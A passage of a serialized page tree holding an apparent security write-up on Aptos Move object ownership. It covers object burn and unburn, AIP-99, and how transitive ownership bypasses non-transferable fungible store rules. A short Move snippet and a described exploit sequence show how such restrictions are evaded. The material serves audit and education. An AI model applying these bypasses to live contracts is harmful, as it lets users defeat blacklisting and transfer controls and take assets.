},{"style":137},[63766],{"type":29,"value":63767},"original_owner",{"type":24,"tag":83,"props":63769,"children":63770},{"style":107},[63771],{"type":29,"value":62648},{"type":24,"tag":83,"props":63773,"children":63774},{"style":143},[63775],{"type":29,"value":3226},{"type":24,"tag":83,"props":63777,"children":63778},{"style":101},[63779],{"type":29,"value":63534},{"type":24,"tag":83,"props":63781,"children":63782},{"style":107},[63783],{"type":29,"value":63784},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":83,"props":63786,"children":63787},{"class":85,"line":183},[63788,63792,63797,63801,63805,63809],{"type":24,"tag":83,"props":63789,"children":63790},{"style":90},[63791],{"type":29,"value":2746},{"type":24,"tag":83,"props":63793,"children":63794},{"style":137},[63795],{"type":29,"value":63796}," object_addr",{"type":24,"tag":83,"props":63798,"children":63799},{"style":143},[63800],{"type":29,"value":146},{"type":24,"tag":83,"props":63802,"children":63803},{"style":137},[63804],{"type":29,"value":62209},{"type":24,"tag":83,"props":63806,"children":63807},{"style":143},[63808],{"type":29,"value":161},{"type":24,"tag":83,"props":63810,"children":63811},{"style":107},[63812],{"type":29,"value":63813},"inner;\n",{"type":24,"tag":83,"props":63815,"children":63816},{"class":85,"line":203},[63817,63821,63825,63829,63834,63838,63843,63847,63852,63856,63860],{"type":24,"tag":83,"props":63818,"children":63819},{"style":101},[63820],{"type":29,"value":62812},{"type":24,"tag":83,"props":63822,"children":63823},{"style":107},[63824],{"type":29,"value":558},{"type":24,"tag":83,"props":63826,"children":63827},{"style":143},[63828],{"type":29,"value":2853},{"type":24,"tag":83,"props":63830,"children":63831},{"style":101},[63832],{"type":29,"value":63833},"create_signer",{"type":24,"tag":83,"props":63835,"children":63836},{"style":107},[63837],{"type":29,"value":558},{"type":24,"tag":83,"props":63839,"children":63840},{"style":137},[63841],{"type":29,"value":63842},"object_addr",{"type":24,"tag":83,"props":63844,"children":63845},{"style":107},[63846],{"type":29,"value":14918},{"type":24,"tag":83,"props":63848,"children":63849},{"style":3163},[63850],{"type":29,"value":63851},"TombStone",{"type":24,"tag":83,"props":63853,"children":63854},{"style":107},[63855],{"type":29,"value":9333},{"type":24,"tag":83,"props":63857,"children":63858},{"style":137},[63859],{"type":29,"value":63767},{"type":24,"tag":83,"props":63861,"children":63862},{"style":107},[63863],{"type":29,"value":38554},{"type":24,"tag":83,"props":63865,"children":63866},{"class":85,"line":212},[63867,63872,63876,63880],{"type":24,"tag":83,"props":63868,"children":63869},{"style":101},[63870],{"type":29,"value":63871},"    transfer_raw_inner",{"type":24,"tag":83,"props":63873,"children":63874},{"style":107},[63875],{"type":29,"value":558},{"type":24,"tag":83,"props":63877,"children":63878},{"style":137},[63879],{"type":29,"value":63842},{"type":24,"tag":83,"props":63881,"children":63882},{"style":107},[63883],{"type":29,"value":63884},", BURN_ADDRESS);\n",{"type":24,"tag":83,"props":63886,"children":63887},{"class":85,"line":256},[63888],{"type":24,"tag":83,"props":63889,"children":63890},{"style":107},[63891],{"type":29,"value":464},{"type":24,"tag":25,"props":63893,"children":63894},{},[63895,63901,63903,63908,63909,63916,63918,63923],{"type":24,"tag":32,"props":63896,"children":63898},{"className":63897},[],[63899],{"type":29,"value":63900},"unburn",{"type":29,"value":63902}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":32,"props":63904,"children":63906},{"className":63905},[],[63907],{"type":29,"value":63587},{"type":29,"value":18269},{"type":24,"tag":2033,"props":63910,"children":63913},{"href":63911,"rel":63912},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[2037],[63914],{"type":29,"value":63915},"AIP-99",{"type":29,"value":63917}," is a proposal to roll back the ",{"type":24,"tag":32,"props":63919,"children":63921},{"className":63920},[],[63922],{"type":29,"value":63579},{"type":29,"value":63924}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":2677,"props":63926,"children":63927},{},[63928],{"type":24,"tag":25,"props":63929,"children":63930},{},[63931,63933,63937],{"type":29,"value":63932},"This ",{"type":24,"tag":83,"props":63934,"children":63935},{},[63936],{"type":29,"value":63915},{"type":29,"value":63938}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":25,"props":63940,"children":63941},{},[63942,63944,63950,63952,63957,63959,63964],{"type":29,"value":63943},"Another important thing is that ",{"type":24,"tag":32,"props":63945,"children":63947},{"className":63946},[],[63948],{"type":29,"value":63949},"fungible_asset::set_untransferable",{"type":29,"value":63951}," can be used to make all new ",{"type":24,"tag":32,"props":63953,"children":63955},{"className":63954},[],[63956],{"type":29,"value":62295},{"type":29,"value":63958}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":32,"props":63960,"children":63962},{"className":63961},[],[63963],{"type":29,"value":61791},{"type":29,"value":161},{"type":24,"tag":25,"props":63966,"children":63967},{},[63968,63970,63975,63977,63983,63985,63990,63992,63997],{"type":29,"value":63969},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":32,"props":63971,"children":63973},{"className":63972},[],[63974],{"type":29,"value":61791},{"type":29,"value":63976},", X can withdraw from that store. This is because ",{"type":24,"tag":32,"props":63978,"children":63980},{"className":63979},[],[63981],{"type":29,"value":63982},"fungible_asset::withdraw",{"type":29,"value":63984}," uses ",{"type":24,"tag":32,"props":63986,"children":63988},{"className":63987},[],[63989],{"type":29,"value":63309},{"type":29,"value":63991}," to verify both direct and indirect ownership of the ",{"type":24,"tag":32,"props":63993,"children":63995},{"className":63994},[],[63996],{"type":29,"value":61791},{"type":29,"value":49893},{"type":24,"tag":73,"props":63999,"children":64001},{"className":2725,"code":64000,"language":2724,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[64002],{"type":24,"tag":32,"props":64003,"children":64004},{"__ignoreMap":7},[64005,64066,64082,64111,64140,64155,64167,64197,64218,64225,64265,64290,64297],{"type":24,"tag":83,"props":64006,"children":64007},{"class":85,"line":86},[64008,64012,64017,64021,64025,64029,64033,64037,64042,64046,64050,64054,64058,64062],{"type":24,"tag":83,"props":64009,"children":64010},{"style":137},[64011],{"type":29,"value":6854},{"type":24,"tag":83,"props":64013,"children":64014},{"style":101},[64015],{"type":29,"value":64016}," verify_ungated_and_descendant",{"type":24,"tag":83,"props":64018,"children":64019},{"style":107},[64020],{"type":29,"value":558},{"type":24,"tag":83,"props":64022,"children":64023},{"style":137},[64024],{"type":29,"value":15348},{"type":24,"tag":83,"props":64026,"children":64027},{"style":143},[64028],{"type":29,"value":195},{"type":24,"tag":83,"props":64030,"children":64031},{"style":137},[64032],{"type":29,"value":5996},{"type":24,"tag":83,"props":64034,"children":64035},{"style":107},[64036],{"type":29,"value":568},{"type":24,"tag":83,"props":64038,"children":64039},{"style":137},[64040],{"type":29,"value":64041},"destination",{"type":24,"tag":83,"props":64043,"children":64044},{"style":143},[64045],{"type":29,"value":195},{"type":24,"tag":83,"props":64047,"children":64048},{"style":137},[64049],{"type":29,"value":5996},{"type":24,"tag":83,"props":64051,"children":64052},{"style":107},[64053],{"type":29,"value":633},{"type":24,"tag":83,"props":64055,"children":64056},{"style":137},[64057],{"type":29,"value":6090},{"type":24,"tag":83,"props":64059,"children":64060},{"style":3163},[64061],{"type":29,"value":63689},{"type":24,"tag":83,"props":64063,"children":64064},{"style":107},[64065],{"type":29,"value":125},{"type":24,"tag":83,"props":64067,"children":64068},{"class":85,"line":113},[64069,64074,64078],{"type":24,"tag":83,"props":64070,"children":64071},{"style":107},[64072],{"type":29,"value":64073},"        [",{"type":24,"tag":83,"props":64075,"children":64076},{"style":143},[64077],{"type":29,"value":509},{"type":24,"tag":83,"props":64079,"children":64080},{"style":107},[64081],{"type":29,"value":1453},{"type":24,"tag":83,"props":64083,"children":64084},{"class":85,"line":128},[64085,64090,64094,64098,64102,64107],{"type":24,"tag":83,"props":64086,"children":64087},{"style":117},[64088],{"type":29,"value":64089},"    while",{"type":24,"tag":83,"props":64091,"children":64092},{"style":107},[64093],{"type":29,"value":223},{"type":24,"tag":83,"props":64095,"children":64096},{"style":137},[64097],{"type":29,"value":15348},{"type":24,"tag":83,"props":64099,"children":64100},{"style":143},[64101],{"type":29,"value":290},{"type":24,"tag":83,"props":64103,"children":64104},{"style":137},[64105],{"type":29,"value":64106}," current_address",{"type":24,"tag":83,"props":64108,"children":64109},{"style":107},[64110],{"type":29,"value":253},{"type":24,"tag":83,"props":64112,"children":64113},{"class":85,"line":183},[64114,64119,64123,64128,64132,64136],{"type":24,"tag":83,"props":64115,"children":64116},{"style":137},[64117],{"type":29,"value":64118},"        count",{"type":24,"tag":83,"props":64120,"children":64121},{"style":143},[64122],{"type":29,"value":146},{"type":24,"tag":83,"props":64124,"children":64125},{"style":137},[64126],{"type":29,"value":64127}," count",{"type":24,"tag":83,"props":64129,"children":64130},{"style":143},[64131],{"type":29,"value":8649},{"type":24,"tag":83,"props":64133,"children":64134},{"style":245},[64135],{"type":29,"value":295},{"type":24,"tag":83,"props":64137,"children":64138},{"style":107},[64139],{"type":29,"value":321},{"type":24,"tag":83,"props":64141,"children":64142},{"class":85,"line":203},[64143,64147,64151],{"type":24,"tag":83,"props":64144,"children":64145},{"style":107},[64146],{"type":29,"value":64073},{"type":24,"tag":83,"props":64148,"children":64149},{"style":143},[64150],{"type":29,"value":509},{"type":24,"tag":83,"props":64152,"children":64153},{"style":107},[64154],{"type":29,"value":1453},{"type":24,"tag":83,"props":64156,"children":64157},{"class":85,"line":212},[64158,64163],{"type":24,"tag":83,"props":64159,"children":64160},{"style":101},[64161],{"type":29,"value":64162},"        assert!",{"type":24,"tag":83,"props":64164,"children":64165},{"style":107},[64166],{"type":29,"value":3208},{"type":24,"tag":83,"props":64168,"children":64169},{"class":85,"line":256},[64170,64175,64179,64184,64188,64193],{"type":24,"tag":83,"props":64171,"children":64172},{"style":137},[64173],{"type":29,"value":64174},"            exists",{"type":24,"tag":83,"props":64176,"children":64177},{"style":107},[64178],{"type":29,"value":5552},{"type":24,"tag":83,"props":64180,"children":64181},{"style":3163},[64182],{"type":29,"value":64183},"ObjectCore",{"type":24,"tag":83,"props":64185,"children":64186},{"style":107},[64187],{"type":29,"value":7358},{"type":24,"tag":83,"props":64189,"children":64190},{"style":137},[64191],{"type":29,"value":64192},"current_address",{"type":24,"tag":83,"props":64194,"children":64195},{"style":107},[64196],{"type":29,"value":6483},{"type":24,"tag":83,"props":64198,"children":64199},{"class":85,"line":270},[64200,64205,64209,64213],{"type":24,"tag":83,"props":64201,"children":64202},{"style":107},[64203],{"type":29,"value":64204},"            error",{"type":24,"tag":83,"props":64206,"children":64207},{"style":143},[64208],{"type":29,"value":3226},{"type":24,"tag":83,"props":64210,"children":64211},{"style":101},[64212],{"type":29,"value":63534},{"type":24,"tag":83,"props":64214,"children":64215},{"style":107},[64216],{"type":29,"value":64217},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":83,"props":64219,"children":64220},{"class":85,"line":302},[64221],{"type":24,"tag":83,"props":64222,"children":64223},{"style":107},[64224],{"type":29,"value":7491},{"type":24,"tag":83,"props":64226,"children":64227},{"class":85,"line":324},[64228,64232,64236,64240,64245,64249,64253,64257,64261],{"type":24,"tag":83,"props":64229,"children":64230},{"style":90},[64231],{"type":29,"value":2809},{"type":24,"tag":83,"props":64233,"children":64234},{"style":137},[64235],{"type":29,"value":62209},{"type":24,"tag":83,"props":64237,"children":64238},{"style":143},[64239],{"type":29,"value":146},{"type":24,"tag":83,"props":64241,"children":64242},{"style":137},[64243],{"type":29,"value":64244}," borrow_global",{"type":24,"tag":83,"props":64246,"children":64247},{"style":107},[64248],{"type":29,"value":5552},{"type":24,"tag":83,"props":64250,"children":64251},{"style":3163},[64252],{"type":29,"value":64183},{"type":24,"tag":83,"props":64254,"children":64255},{"style":107},[64256],{"type":29,"value":7358},{"type":24,"tag":83,"props":64258,"children":64259},{"style":137},[64260],{"type":29,"value":64192},{"type":24,"tag":83,"props":64262,"children":64263},{"style":107},[64264],{"type":29,"value":581},{"type":24,"tag":83,"props":64266,"children":64267},{"class":85,"line":345},[64268,64273,64277,64281,64285],{"type":24,"tag":83,"props":64269,"children":64270},{"style":137},[64271],{"type":29,"value":64272},"        current_address",{"type":24,"tag":83,"props":64274,"children":64275},{"style":143},[64276],{"type":29,"value":146},{"type":24,"tag":83,"props":64278,"children":64279},{"style":137},[64280],{"type":29,"value":62209},{"type":24,"tag":83,"props":64282,"children":64283},{"style":143},[64284],{"type":29,"value":161},{"type":24,"tag":83,"props":64286,"children":64287},{"style":107},[64288],{"type":29,"value":64289},"owner;\n",{"type":24,"tag":83,"props":64291,"children":64292},{"class":85,"line":358},[64293],{"type":24,"tag":83,"props":64294,"children":64295},{"style":107},[64296],{"type":29,"value":38715},{"type":24,"tag":83,"props":64298,"children":64299},{"class":85,"line":367},[64300],{"type":24,"tag":83,"props":64301,"children":64302},{"style":107},[64303],{"type":29,"value":464},{"type":24,"tag":25,"props":64305,"children":64306},{},[64307,64309,64314],{"type":29,"value":64308},"This could allow for bypassing assumptions about ",{"type":24,"tag":32,"props":64310,"children":64312},{"className":64311},[],[64313],{"type":29,"value":61791},{"type":29,"value":64315}," true ownership and its non-transferability.",{"type":24,"tag":73,"props":64317,"children":64319},{"className":2725,"code":64318,"language":2724,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[64320],{"type":24,"tag":32,"props":64321,"children":64322},{"__ignoreMap":7},[64323,64381,64434,64478,64526,64533,64578,64586],{"type":24,"tag":83,"props":64324,"children":64325},{"class":85,"line":86},[64326,64330,64334,64339,64343,64348,64352,64356,64360,64364,64369,64373,64377],{"type":24,"tag":83,"props":64327,"children":64328},{"style":137},[64329],{"type":29,"value":61390},{"type":24,"tag":83,"props":64331,"children":64332},{"style":137},[64333],{"type":29,"value":5953},{"type":24,"tag":83,"props":64335,"children":64336},{"style":101},[64337],{"type":29,"value":64338}," untransferable_transfer",{"type":24,"tag":83,"props":64340,"children":64341},{"style":107},[64342],{"type":29,"value":558},{"type":24,"tag":83,"props":64344,"children":64345},{"style":137},[64346],{"type":29,"value":64347},"caller",{"type":24,"tag":83,"props":64349,"children":64350},{"style":143},[64351],{"type":29,"value":195},{"type":24,"tag":83,"props":64353,"children":64354},{"style":143},[64355],{"type":29,"value":6888},{"type":24,"tag":83,"props":64357,"children":64358},{"style":137},[64359],{"type":29,"value":6893},{"type":24,"tag":83,"props":64361,"children":64362},{"style":107},[64363],{"type":29,"value":568},{"type":24,"tag":83,"props":64365,"children":64366},{"style":137},[64367],{"type":29,"value":64368},"receipient",{"type":24,"tag":83,"props":64370,"children":64371},{"style":143},[64372],{"type":29,"value":195},{"type":24,"tag":83,"props":64374,"children":64375},{"style":137},[64376],{"type":29,"value":5996},{"type":24,"tag":83,"props":64378,"children":64379},{"style":107},[64380],{"type":29,"value":253},{"type":24,"tag":83,"props":64382,"children":64383},{"class":85,"line":113},[64384,64388,64393,64397,64401,64405,64410,64414,64418,64422,64426,64430],{"type":24,"tag":83,"props":64385,"children":64386},{"style":90},[64387],{"type":29,"value":2746},{"type":24,"tag":83,"props":64389,"children":64390},{"style":137},[64391],{"type":29,"value":64392}," constructor_ref",{"type":24,"tag":83,"props":64394,"children":64395},{"style":143},[64396],{"type":29,"value":146},{"type":24,"tag":83,"props":64398,"children":64399},{"style":107},[64400],{"type":29,"value":62209},{"type":24,"tag":83,"props":64402,"children":64403},{"style":143},[64404],{"type":29,"value":3226},{"type":24,"tag":83,"props":64406,"children":64407},{"style":101},[64408],{"type":29,"value":64409},"create_object",{"type":24,"tag":83,"props":64411,"children":64412},{"style":107},[64413],{"type":29,"value":6947},{"type":24,"tag":83,"props":64415,"children":64416},{"style":143},[64417],{"type":29,"value":3226},{"type":24,"tag":83,"props":64419,"children":64420},{"style":101},[64421],{"type":29,"value":6956},{"type":24,"tag":83,"props":64423,"children":64424},{"style":107},[64425],{"type":29,"value":558},{"type":24,"tag":83,"props":64427,"children":64428},{"style":137},[64429],{"type":29,"value":64347},{"type":24,"tag":83,"props":64431,"children":64432},{"style":107},[64433],{"type":29,"value":6970},{"type":24,"tag":83,"props":64435,"children":64436},{"class":85,"line":128},[64437,64441,64445,64449,64453,64457,64462,64466,64470,64474],{"type":24,"tag":83,"props":64438,"children":64439},{"style":90},[64440],{"type":29,"value":2746},{"type":24,"tag":83,"props":64442,"children":64443},{"style":137},[64444],{"type":29,"value":63796},{"type":24,"tag":83,"props":64446,"children":64447},{"style":143},[64448],{"type":29,"value":146},{"type":24,"tag":83,"props":64450,"children":64451},{"style":107},[64452],{"type":29,"value":62209},{"type":24,"tag":83,"props":64454,"children":64455},{"style":143},[64456],{"type":29,"value":3226},{"type":24,"tag":83,"props":64458,"children":64459},{"style":101},[64460],{"type":29,"value":64461},"address_from_constructor_ref",{"type":24,"tag":83,"props":64463,"children":64464},{"style":107},[64465],{"type":29,"value":558},{"type":24,"tag":83,"props":64467,"children":64468},{"style":143},[64469],{"type":29,"value":2853},{"type":24,"tag":83,"props":64471,"children":64472},{"style":137},[64473],{"type":29,"value":62643},{"type":24,"tag":83,"props":64475,"children":64476},{"style":107},[64477],{"type":29,"value":581},{"type":24,"tag":83,"props":64479,"children":64480},{"class":85,"line":183},[64481,64485,64489,64493,64498,64502,64506,64510,64514,64518,64522],{"type":24,"tag":83,"props":64482,"children":64483},{"style":90},[64484],{"type":29,"value":2746},{"type":24,"tag":83,"props":64486,"children":64487},{"style":137},[64488],{"type":29,"value":5577},{"type":24,"tag":83,"props":64490,"children":64491},{"style":143},[64492],{"type":29,"value":146},{"type":24,"tag":83,"props":64494,"children":64495},{"style":107},[64496],{"type":29,"value":64497}," primary_fungible_store",{"type":24,"tag":83,"props":64499,"children":64500},{"style":143},[64501],{"type":29,"value":3226},{"type":24,"tag":83,"props":64503,"children":64504},{"style":101},[64505],{"type":29,"value":62535},{"type":24,"tag":83,"props":64507,"children":64508},{"style":107},[64509],{"type":29,"value":558},{"type":24,"tag":83,"props":64511,"children":64512},{"style":137},[64513],{"type":29,"value":63842},{"type":24,"tag":83,"props":64515,"children":64516},{"style":107},[64517],{"type":29,"value":568},{"type":24,"tag":83,"props":64519,"children":64520},{"style":101},[64521],{"type":29,"value":62491},{"type":24,"tag":83,"props":64523,"children":64524},{"style":107},[64525],{"type":29,"value":15164},{"type":24,"tag":83,"props":64527,"children":64528},{"class":85,"line":203},[64529],{"type":24,"tag":83,"props":64530,"children":64531},{"emptyLinePlaceholder":16},[64532],{"type":29,"value":3422},{"type":24,"tag":83,"props":64534,"children":64535},{"class":85,"line":212},[64536,64541,64545,64550,64554,64558,64562,64566,64570,64574],{"type":24,"tag":83,"props":64537,"children":64538},{"style":107},[64539],{"type":29,"value":64540},"    object",{"type":24,"tag":83,"props":64542,"children":64543},{"style":143},[64544],{"type":29,"value":3226},{"type":24,"tag":83,"props":64546,"children":64547},{"style":101},[64548],{"type":29,"value":64549},"transfer_raw",{"type":24,"tag":83,"props":64551,"children":64552},{"style":107},[64553],{"type":29,"value":558},{"type":24,"tag":83,"props":64555,"children":64556},{"style":137},[64557],{"type":29,"value":64347},{"type":24,"tag":83,"props":64559,"children":64560},{"style":107},[64561],{"type":29,"value":568},{"type":24,"tag":83,"props":64563,"children":64564},{"style":137},[64565],{"type":29,"value":63842},{"type":24,"tag":83,"props":64567,"children":64568},{"style":107},[64569],{"type":29,"value":568},{"type":24,"tag":83,"props":64571,"children":64572},{"style":137},[64573],{"type":29,"value":64368},{"type":24,"tag":83,"props":64575,"children":64576},{"style":107},[64577],{"type":29,"value":581},{"type":24,"tag":83,"props":64579,"children":64580},{"class":85,"line":256},[64581],{"type":24,"tag":83,"props":64582,"children":64583},{"style":2735},[64584],{"type":29,"value":64585},"    //receipient can interact with store by using their signer\n",{"type":24,"tag":83,"props":64587,"children":64588},{"class":85,"line":270},[64589],{"type":24,"tag":83,"props":64590,"children":64591},{"style":107},[64592],{"type":29,"value":464},{"type":24,"tag":25,"props":64594,"children":64595},{},[64596,64598,64605],{"type":29,"value":64597},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":2033,"props":64599,"children":64602},{"href":64600,"rel":64601},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[2037],[64603],{"type":29,"value":64604},"edge case",{"type":29,"value":64606}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":73,"props":64608,"children":64610},{"className":2725,"code":64609,"language":2724,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[64611],{"type":24,"tag":32,"props":64612,"children":64613},{"__ignoreMap":7},[64614,64679,64740,64787,64798,64833,64853,64860,64867,64882,64889,64917],{"type":24,"tag":83,"props":64615,"children":64616},{"class":85,"line":86},[64617,64621,64625,64630,64634,64638,64642,64647,64651,64655,64659,64663,64667,64671,64675],{"type":24,"tag":83,"props":64618,"children":64619},{"style":137},[64620],{"type":29,"value":61390},{"type":24,"tag":83,"props":64622,"children":64623},{"style":137},[64624],{"type":29,"value":5953},{"type":24,"tag":83,"props":64626,"children":64627},{"style":101},[64628],{"type":29,"value":64629}," transfer_with_ref",{"type":24,"tag":83,"props":64631,"children":64632},{"style":107},[64633],{"type":29,"value":558},{"type":24,"tag":83,"props":64635,"children":64636},{"style":90},[64637],{"type":29,"value":63052},{"type":24,"tag":83,"props":64639,"children":64640},{"style":143},[64641],{"type":29,"value":195},{"type":24,"tag":83,"props":64643,"children":64644},{"style":3163},[64645],{"type":29,"value":64646}," LinearTransferRef",{"type":24,"tag":83,"props":64648,"children":64649},{"style":107},[64650],{"type":29,"value":568},{"type":24,"tag":83,"props":64652,"children":64653},{"style":137},[64654],{"type":29,"value":32466},{"type":24,"tag":83,"props":64656,"children":64657},{"style":143},[64658],{"type":29,"value":195},{"type":24,"tag":83,"props":64660,"children":64661},{"style":137},[64662],{"type":29,"value":5996},{"type":24,"tag":83,"props":64664,"children":64665},{"style":107},[64666],{"type":29,"value":633},{"type":24,"tag":83,"props":64668,"children":64669},{"style":137},[64670],{"type":29,"value":6090},{"type":24,"tag":83,"props":64672,"children":64673},{"style":3163},[64674],{"type":29,"value":63689},{"type":24,"tag":83,"props":64676,"children":64677},{"style":107},[64678],{"type":29,"value":125},{"type":24,"tag":83,"props":64680,"children":64681},{"class":85,"line":113},[64682,64686,64690,64694,64698,64702,64707,64711,64715,64719,64723,64727,64731,64735],{"type":24,"tag":83,"props":64683,"children":64684},{"style":101},[64685],{"type":29,"value":62059},{"type":24,"tag":83,"props":64687,"children":64688},{"style":107},[64689],{"type":29,"value":558},{"type":24,"tag":83,"props":64691,"children":64692},{"style":143},[64693],{"type":29,"value":20362},{"type":24,"tag":83,"props":64695,"children":64696},{"style":137},[64697],{"type":29,"value":6451},{"type":24,"tag":83,"props":64699,"children":64700},{"style":107},[64701],{"type":29,"value":5552},{"type":24,"tag":83,"props":64703,"children":64704},{"style":3163},[64705],{"type":29,"value":64706},"Untransferable",{"type":24,"tag":83,"props":64708,"children":64709},{"style":107},[64710],{"type":29,"value":7358},{"type":24,"tag":83,"props":64712,"children":64713},{"style":90},[64714],{"type":29,"value":63052},{"type":24,"tag":83,"props":64716,"children":64717},{"style":143},[64718],{"type":29,"value":161},{"type":24,"tag":83,"props":64720,"children":64721},{"style":90},[64722],{"type":29,"value":13458},{"type":24,"tag":83,"props":64724,"children":64725},{"style":107},[64726],{"type":29,"value":62648},{"type":24,"tag":83,"props":64728,"children":64729},{"style":143},[64730],{"type":29,"value":3226},{"type":24,"tag":83,"props":64732,"children":64733},{"style":101},[64734],{"type":29,"value":63534},{"type":24,"tag":83,"props":64736,"children":64737},{"style":107},[64738],{"type":29,"value":64739},"(ENOT_MOVABLE));\n",{"type":24,"tag":83,"props":64741,"children":64742},{"class":85,"line":128},[64743,64747,64751,64755,64759,64763,64767,64771,64775,64779,64783],{"type":24,"tag":83,"props":64744,"children":64745},{"style":90},[64746],{"type":29,"value":2746},{"type":24,"tag":83,"props":64748,"children":64749},{"style":137},[64750],{"type":29,"value":62209},{"type":24,"tag":83,"props":64752,"children":64753},{"style":143},[64754],{"type":29,"value":146},{"type":24,"tag":83,"props":64756,"children":64757},{"style":137},[64758],{"type":29,"value":7344},{"type":24,"tag":83,"props":64760,"children":64761},{"style":107},[64762],{"type":29,"value":5552},{"type":24,"tag":83,"props":64764,"children":64765},{"style":3163},[64766],{"type":29,"value":64183},{"type":24,"tag":83,"props":64768,"children":64769},{"style":107},[64770],{"type":29,"value":7358},{"type":24,"tag":83,"props":64772,"children":64773},{"style":90},[64774],{"type":29,"value":63052},{"type":24,"tag":83,"props":64776,"children":64777},{"style":143},[64778],{"type":29,"value":161},{"type":24,"tag":83,"props":64780,"children":64781},{"style":90},[64782],{"type":29,"value":13458},{"type":24,"tag":83,"props":64784,"children":64785},{"style":107},[64786],{"type":29,"value":581},{"type":24,"tag":83,"props":64788,"children":64789},{"class":85,"line":183},[64790,64794],{"type":24,"tag":83,"props":64791,"children":64792},{"style":101},[64793],{"type":29,"value":62059},{"type":24,"tag":83,"props":64795,"children":64796},{"style":107},[64797],{"type":29,"value":3208},{"type":24,"tag":83,"props":64799,"children":64800},{"class":85,"line":203},[64801,64806,64810,64815,64819,64824,64828],{"type":24,"tag":83,"props":64802,"children":64803},{"style":137},[64804],{"type":29,"value":64805},"        object",{"type":24,"tag":83,"props":64807,"children":64808},{"style":143},[64809],{"type":29,"value":161},{"type":24,"tag":83,"props":64811,"children":64812},{"style":107},[64813],{"type":29,"value":64814},"owner ",{"type":24,"tag":83,"props":64816,"children":64817},{"style":143},[64818],{"type":29,"value":8320},{"type":24,"tag":83,"props":64820,"children":64821},{"style":90},[64822],{"type":29,"value":64823}," ref",{"type":24,"tag":83,"props":64825,"children":64826},{"style":143},[64827],{"type":29,"value":161},{"type":24,"tag":83,"props":64829,"children":64830},{"style":107},[64831],{"type":29,"value":64832},"owner,\n",{"type":24,"tag":83,"props":64834,"children":64835},{"class":85,"line":212},[64836,64841,64845,64849],{"type":24,"tag":83,"props":64837,"children":64838},{"style":107},[64839],{"type":29,"value":64840},"        error",{"type":24,"tag":83,"props":64842,"children":64843},{"style":143},[64844],{"type":29,"value":3226},{"type":24,"tag":83,"props":64846,"children":64847},{"style":101},[64848],{"type":29,"value":63534},{"type":24,"tag":83,"props":64850,"children":64851},{"style":107},[64852],{"type":29,"value":64217},{"type":24,"tag":83,"props":64854,"children":64855},{"class":85,"line":256},[64856],{"type":24,"tag":83,"props":64857,"children":64858},{"style":107},[64859],{"type":29,"value":43373},{"type":24,"tag":83,"props":64861,"children":64862},{"class":85,"line":270},[64863],{"type":24,"tag":83,"props":64864,"children":64865},{"style":107},[64866],{"type":29,"value":61501},{"type":24,"tag":83,"props":64868,"children":64869},{"class":85,"line":302},[64870,64874,64878],{"type":24,"tag":83,"props":64871,"children":64872},{"style":107},[64873],{"type":29,"value":62433},{"type":24,"tag":83,"props":64875,"children":64876},{"style":143},[64877],{"type":29,"value":509},{"type":24,"tag":83,"props":64879,"children":64880},{"style":107},[64881],{"type":29,"value":1453},{"type":24,"tag":83,"props":64883,"children":64884},{"class":85,"line":324},[64885],{"type":24,"tag":83,"props":64886,"children":64887},{"style":107},[64888],{"type":29,"value":61501},{"type":24,"tag":83,"props":64890,"children":64891},{"class":85,"line":345},[64892,64896,64900,64904,64908,64913],{"type":24,"tag":83,"props":64893,"children":64894},{"style":137},[64895],{"type":29,"value":64540},{"type":24,"tag":83,"props":64897,"children":64898},{"style":143},[64899],{"type":29,"value":161},{"type":24,"tag":83,"props":64901,"children":64902},{"style":107},[64903],{"type":29,"value":64814},{"type":24,"tag":83,"props":64905,"children":64906},{"style":143},[64907],{"type":29,"value":1275},{"type":24,"tag":83,"props":64909,"children":64910},{"style":137},[64911],{"type":29,"value":64912}," to",{"type":24,"tag":83,"props":64914,"children":64915},{"style":107},[64916],{"type":29,"value":321},{"type":24,"tag":83,"props":64918,"children":64919},{"class":85,"line":358},[64920],{"type":24,"tag":83,"props":64921,"children":64922},{"style":107},[64923],{"type":29,"value":464},{"type":24,"tag":25,"props":64925,"children":64926},{},[64927,64929,64934,64936,64941],{"type":29,"value":64928},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":32,"props":64930,"children":64932},{"className":64931},[],[64933],{"type":29,"value":63587},{"type":29,"value":64935},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":32,"props":64937,"children":64939},{"className":64938},[],[64940],{"type":29,"value":6893},{"type":29,"value":64942}," or the 